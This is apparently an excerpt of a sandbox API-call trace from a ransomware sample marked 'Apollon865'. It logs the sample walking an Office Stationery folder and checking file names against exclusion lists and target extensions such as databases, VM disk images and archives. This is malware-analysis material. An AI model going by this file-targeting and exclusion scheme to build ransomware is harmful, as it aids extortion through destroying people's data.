	[0065.448] lstrlenW (lpString="Apollon865") returned 10
	[0065.448] lstrcmpiW (lpString1="RRENCY.HTM", lpString2="Apollon865") returned 1
	[0065.448] lstrlenW (lpString=".dll") returned 4
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2=".dll") returned 1
	[0065.448] lstrlenW (lpString=".lnk") returned 4
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2=".lnk") returned 1
	[0065.448] lstrlenW (lpString=".ini") returned 4
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2=".ini") returned 1
	[0065.448] lstrlenW (lpString=".sys") returned 4
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2=".sys") returned 1
	[0065.448] lstrlenW (lpString="CURRENCY.HTM") returned 12
	[0065.448] lstrlenW (lpString="bak") returned 3
	[0065.448] lstrcmpiW (lpString1="HTM", lpString2="bak") returned 1
	[0065.448] lstrlenW (lpString="ba_") returned 3
	[0065.448] lstrcmpiW (lpString1="HTM", lpString2="ba_") returned 1
	[0065.448] lstrlenW (lpString="dbb") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="dbb") returned 1
	[0065.449] lstrlenW (lpString="vmdk") returned 4
	[0065.449] lstrcmpiW (lpString1=".HTM", lpString2="vmdk") returned -1
	[0065.449] lstrlenW (lpString="rar") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="rar") returned -1
	[0065.449] lstrlenW (lpString="zip") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="zip") returned -1
	[0065.449] lstrlenW (lpString="tgz") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="tgz") returned -1
	[0065.449] lstrlenW (lpString="vbox") returned 4
	[0065.449] lstrcmpiW (lpString1=".HTM", lpString2="vbox") returned -1
	[0065.449] lstrlenW (lpString="vdi") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="vdi") returned -1
	[0065.449] lstrlenW (lpString="vhd") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="vhd") returned -1
	[0065.449] lstrlenW (lpString="vhdx") returned 4
	[0065.449] lstrcmpiW (lpString1=".HTM", lpString2="vhdx") returned -1
	[0065.449] lstrlenW (lpString="avhd") returned 4
	[0065.449] lstrcmpiW (lpString1=".HTM", lpString2="avhd") returned -1
	[0065.449] lstrlenW (lpString="db") returned 2
	[0065.449] lstrcmpiW (lpString1="TM", lpString2="db") returned 1
	[0065.449] lstrlenW (lpString="db2") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="db2") returned 1
	[0065.449] lstrlenW (lpString="db3") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="db3") returned 1
	[0065.449] lstrlenW (lpString="dbf") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="dbf") returned 1
	[0065.449] lstrlenW (lpString="mdf") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="mdf") returned -1
	[0065.449] lstrlenW (lpString="mdb") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="mdb") returned -1
	[0065.449] lstrlenW (lpString="sql") returned 3
	[0065.449] lstrcmpiW (lpString1="HTM", lpString2="sql") returned -1
	[0065.449] lstrlenW (lpString="sqlite") returned 6
	[0065.449] lstrcmpiW (lpString1="CY.HTM", lpString2="sqlite") returned -1
	[0065.450] lstrlenW (lpString="sqlite3") returned 7
	[0065.450] lstrcmpiW (lpString1="NCY.HTM", lpString2="sqlite3") returned -1
	[0065.450] lstrlenW (lpString="sqlitedb") returned 8
	[0065.450] lstrcmpiW (lpString1="ENCY.HTM", lpString2="sqlitedb") returned -1
	[0065.450] lstrlenW (lpString="xml") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="xml") returned -1
	[0065.450] lstrlenW (lpString="$er") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="$er") returned 1
	[0065.450] lstrlenW (lpString="4dd") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="4dd") returned 1
	[0065.450] lstrlenW (lpString="4dl") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="4dl") returned 1
	[0065.450] lstrlenW (lpString="^^^") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="^^^") returned 1
	[0065.450] lstrlenW (lpString="abs") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="abs") returned 1
	[0065.450] lstrlenW (lpString="abx") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="abx") returned 1
	[0065.450] lstrlenW (lpString="accdb") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accdb") returned 1
	[0065.450] lstrlenW (lpString="accdc") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accdc") returned 1
	[0065.450] lstrlenW (lpString="accde") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accde") returned 1
	[0065.450] lstrlenW (lpString="accdr") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accdr") returned 1
	[0065.450] lstrlenW (lpString="accdt") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accdt") returned 1
	[0065.450] lstrlenW (lpString="accdw") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accdw") returned 1
	[0065.450] lstrlenW (lpString="accft") returned 5
	[0065.450] lstrcmpiW (lpString1="Y.HTM", lpString2="accft") returned 1
	[0065.450] lstrlenW (lpString="adb") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1
	[0065.450] lstrlenW (lpString="adb") returned 3
	[0065.450] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1
	[0065.451] lstrlenW (lpString="ade") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="ade") returned 1
	[0065.451] lstrlenW (lpString="adf") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="adf") returned 1
	[0065.451] lstrlenW (lpString="adn") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="adn") returned 1
	[0065.451] lstrlenW (lpString="adp") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="adp") returned 1
	[0065.451] lstrlenW (lpString="alf") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="alf") returned 1
	[0065.451] lstrlenW (lpString="ask") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="ask") returned 1
	[0065.451] lstrlenW (lpString="btr") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="btr") returned 1
	[0065.451] lstrlenW (lpString="cat") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="cat") returned 1
	[0065.451] lstrlenW (lpString="cdb") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="cdb") returned 1
	[0065.451] lstrlenW (lpString="ckp") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="ckp") returned 1
	[0065.451] lstrlenW (lpString="cma") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="cma") returned 1
	[0065.451] lstrlenW (lpString="cpd") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="cpd") returned 1
	[0065.451] lstrlenW (lpString="dacpac") returned 6
	[0065.451] lstrcmpiW (lpString1="CY.HTM", lpString2="dacpac") returned -1
	[0065.451] lstrlenW (lpString="dad") returned 3
	[0065.451] lstrcmpiW (lpString1="HTM", lpString2="dad") returned 1
	[0065.451] lstrlenW (lpString="dadiagrams") returned 10
	[0065.451] lstrcmpiW (lpString1="RRENCY.HTM", lpString2="dadiagrams") returned 1
	[0065.451] lstrlenW (lpString="daschema") returned 8
	[0065.451] lstrcmpiW (lpString1="ENCY.HTM", lpString2="daschema") returned 1
	[0065.451] lstrlenW (lpString="db-journal") returned 10
	[0065.451] lstrcmpiW (lpString1="RRENCY.HTM", lpString2="db-journal") returned 1
	[0065.451] lstrlenW (lpString="db-shm") returned 6
	[0065.451] lstrcmpiW (lpString1="CY.HTM", lpString2="db-shm") returned -1
	[0065.452] lstrlenW (lpString="db-wal") returned 6
	[0065.452] lstrcmpiW (lpString1="CY.HTM", lpString2="db-wal") returned -1
	[0065.452] lstrlenW (lpString="dbc") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dbc") returned 1
	[0065.452] lstrlenW (lpString="dbs") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dbs") returned 1
	[0065.452] lstrlenW (lpString="dbt") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dbt") returned 1
	[0065.452] lstrlenW (lpString="dbv") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dbv") returned 1
	[0065.452] lstrlenW (lpString="dbx") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dbx") returned 1
	[0065.452] lstrlenW (lpString="dcb") returned 3
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dcb") returned 1
	[0065.452] lstrcmpiW (lpString1="HTM", lpString2="dct") returned 1
	[0065.452] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2=".") returned 1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="..") returned 1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="windows") returned -1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="bootmgr") returned 1
	[0065.452] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="temp") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="pagefile.sys") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="boot") returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="ids.txt") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="ntuser.dat") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="perflogs") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2="MSBuild") returned -1
	[0065.453] lstrlenW (lpString="DADSHIRT.GIF") returned 12
	[0065.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM") returned 62
	[0065.453] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DADSHIRT.GIF" | out: lpString1="DADSHIRT.GIF") returned="DADSHIRT.GIF"
	[0065.453] lstrlenW (lpString="DADSHIRT.GIF") returned 12
	[0065.453] lstrlenW (lpString="Apollon865") returned 10
	[0065.453] lstrcmpiW (lpString1="DSHIRT.GIF", lpString2="Apollon865") returned 1
	[0065.453] lstrlenW (lpString=".dll") returned 4
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2=".dll") returned 1
	[0065.453] lstrlenW (lpString=".lnk") returned 4
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2=".lnk") returned 1
	[0065.453] lstrlenW (lpString=".ini") returned 4
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2=".ini") returned 1
	[0065.453] lstrlenW (lpString=".sys") returned 4
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.GIF", lpString2=".sys") returned 1
	[0065.453] lstrlenW (lpString="DADSHIRT.GIF") returned 12
	[0065.453] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2=".") returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="..") returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="windows") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="bootmgr") returned 1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="temp") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="pagefile.sys") returned -1
	[0065.453] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="boot") returned 1
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="ids.txt") returned -1
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="ntuser.dat") returned -1
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="perflogs") returned -1
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2="MSBuild") returned -1
	[0065.454] lstrlenW (lpString="DADSHIRT.HTM") returned 12
	[0065.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF") returned 62
	[0065.454] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DADSHIRT.HTM" | out: lpString1="DADSHIRT.HTM") returned="DADSHIRT.HTM"
	[0065.454] lstrlenW (lpString="DADSHIRT.HTM") returned 12
	[0065.454] lstrlenW (lpString="Apollon865") returned 10
	[0065.454] lstrcmpiW (lpString1="DSHIRT.HTM", lpString2="Apollon865") returned 1
	[0065.454] lstrlenW (lpString=".dll") returned 4
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2=".dll") returned 1
	[0065.454] lstrlenW (lpString=".lnk") returned 4
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2=".lnk") returned 1
	[0065.454] lstrlenW (lpString=".ini") returned 4
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2=".ini") returned 1
	[0065.454] lstrlenW (lpString=".sys") returned 4
	[0065.454] lstrcmpiW (lpString1="DADSHIRT.HTM", lpString2=".sys") returned 1
	[0065.454] lstrlenW (lpString="DADSHIRT.HTM") returned 12
	[0065.454] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f133ab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f133ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.454] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.454] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2=".") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="..") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="windows") returned -1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="bootmgr") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="temp") returned -1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="pagefile.sys") returned -1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="boot") returned 1
	[0065.454] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="ids.txt") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="ntuser.dat") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="perflogs") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2="MSBuild") returned -1
	[0065.455] lstrlenW (lpString="JUDGESCH.GIF") returned 12
	[0065.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM") returned 62
	[0065.455] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="JUDGESCH.GIF" | out: lpString1="JUDGESCH.GIF") returned="JUDGESCH.GIF"
	[0065.455] lstrlenW (lpString="JUDGESCH.GIF") returned 12
	[0065.455] lstrlenW (lpString="Apollon865") returned 10
	[0065.455] lstrcmpiW (lpString1="DGESCH.GIF", lpString2="Apollon865") returned 1
	[0065.455] lstrlenW (lpString=".dll") returned 4
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2=".dll") returned 1
	[0065.455] lstrlenW (lpString=".lnk") returned 4
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2=".lnk") returned 1
	[0065.455] lstrlenW (lpString=".ini") returned 4
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2=".ini") returned 1
	[0065.455] lstrlenW (lpString=".sys") returned 4
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.GIF", lpString2=".sys") returned 1
	[0065.455] lstrlenW (lpString="JUDGESCH.GIF") returned 12
	[0065.455] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2=".") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="..") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="windows") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="bootmgr") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="temp") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="pagefile.sys") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="boot") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="ids.txt") returned 1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="ntuser.dat") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="perflogs") returned -1
	[0065.455] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2="MSBuild") returned -1
	[0065.455] lstrlenW (lpString="JUDGESCH.HTM") returned 12
	[0065.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF") returned 62
	[0065.456] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="JUDGESCH.HTM" | out: lpString1="JUDGESCH.HTM") returned="JUDGESCH.HTM"
	[0065.456] lstrlenW (lpString="JUDGESCH.HTM") returned 12
	[0065.456] lstrlenW (lpString="Apollon865") returned 10
	[0065.456] lstrcmpiW (lpString1="DGESCH.HTM", lpString2="Apollon865") returned 1
	[0065.456] lstrlenW (lpString=".dll") returned 4
	[0065.456] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2=".dll") returned 1
	[0065.456] lstrlenW (lpString=".lnk") returned 4
	[0065.456] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2=".lnk") returned 1
	[0065.456] lstrlenW (lpString=".ini") returned 4
	[0065.456] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2=".ini") returned 1
	[0065.456] lstrlenW (lpString=".sys") returned 4
	[0065.456] lstrcmpiW (lpString1="JUDGESCH.HTM", lpString2=".sys") returned 1
	[0065.456] lstrlenW (lpString="JUDGESCH.HTM") returned 12
	[0065.456] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2=".") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="..") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="windows") returned -1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="bootmgr") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="temp") returned -1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="pagefile.sys") returned -1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="boot") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="ids.txt") returned 1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="ntuser.dat") returned -1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="perflogs") returned -1
	[0065.456] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2="MSBuild") returned -1
	[0065.456] lstrlenW (lpString="JUNGLE.GIF") returned 10
	[0065.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM") returned 62
	[0065.456] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="JUNGLE.GIF" | out: lpString1="JUNGLE.GIF") returned="JUNGLE.GIF"
	[0065.456] lstrlenW (lpString="JUNGLE.GIF") returned 10
	[0065.457] lstrlenW (lpString="Apollon865") returned 10
	[0065.457] lstrlenW (lpString=".dll") returned 4
	[0065.457] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2=".dll") returned 1
	[0065.457] lstrlenW (lpString=".lnk") returned 4
	[0065.457] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2=".lnk") returned 1
	[0065.457] lstrlenW (lpString=".ini") returned 4
	[0065.457] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2=".ini") returned 1
	[0065.457] lstrlenW (lpString=".sys") returned 4
	[0065.457] lstrcmpiW (lpString1="JUNGLE.GIF", lpString2=".sys") returned 1
	[0065.457] lstrlenW (lpString="JUNGLE.GIF") returned 10
	[0065.457] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2=".") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="..") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="windows") returned -1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="bootmgr") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="temp") returned -1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="pagefile.sys") returned -1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="boot") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="ids.txt") returned 1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="ntuser.dat") returned -1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="perflogs") returned -1
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2="MSBuild") returned -1
	[0065.457] lstrlenW (lpString="JUNGLE.HTM") returned 10
	[0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF") returned 60
	[0065.457] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="JUNGLE.HTM" | out: lpString1="JUNGLE.HTM") returned="JUNGLE.HTM"
	[0065.457] lstrlenW (lpString="JUNGLE.HTM") returned 10
	[0065.457] lstrlenW (lpString="Apollon865") returned 10
	[0065.457] lstrlenW (lpString=".dll") returned 4
	[0065.457] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2=".dll") returned 1
	[0065.457] lstrlenW (lpString=".lnk") returned 4
	[0065.458] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2=".lnk") returned 1
	[0065.458] lstrlenW (lpString=".ini") returned 4
	[0065.458] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2=".ini") returned 1
	[0065.458] lstrlenW (lpString=".sys") returned 4
	[0065.458] lstrcmpiW (lpString1="JUNGLE.HTM", lpString2=".sys") returned 1
	[0065.458] lstrlenW (lpString="JUNGLE.HTM") returned 10
	[0065.458] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.458] lstrcmpiW (lpString1="NOTEBOOK.HTM", lpString2=".") returned 1
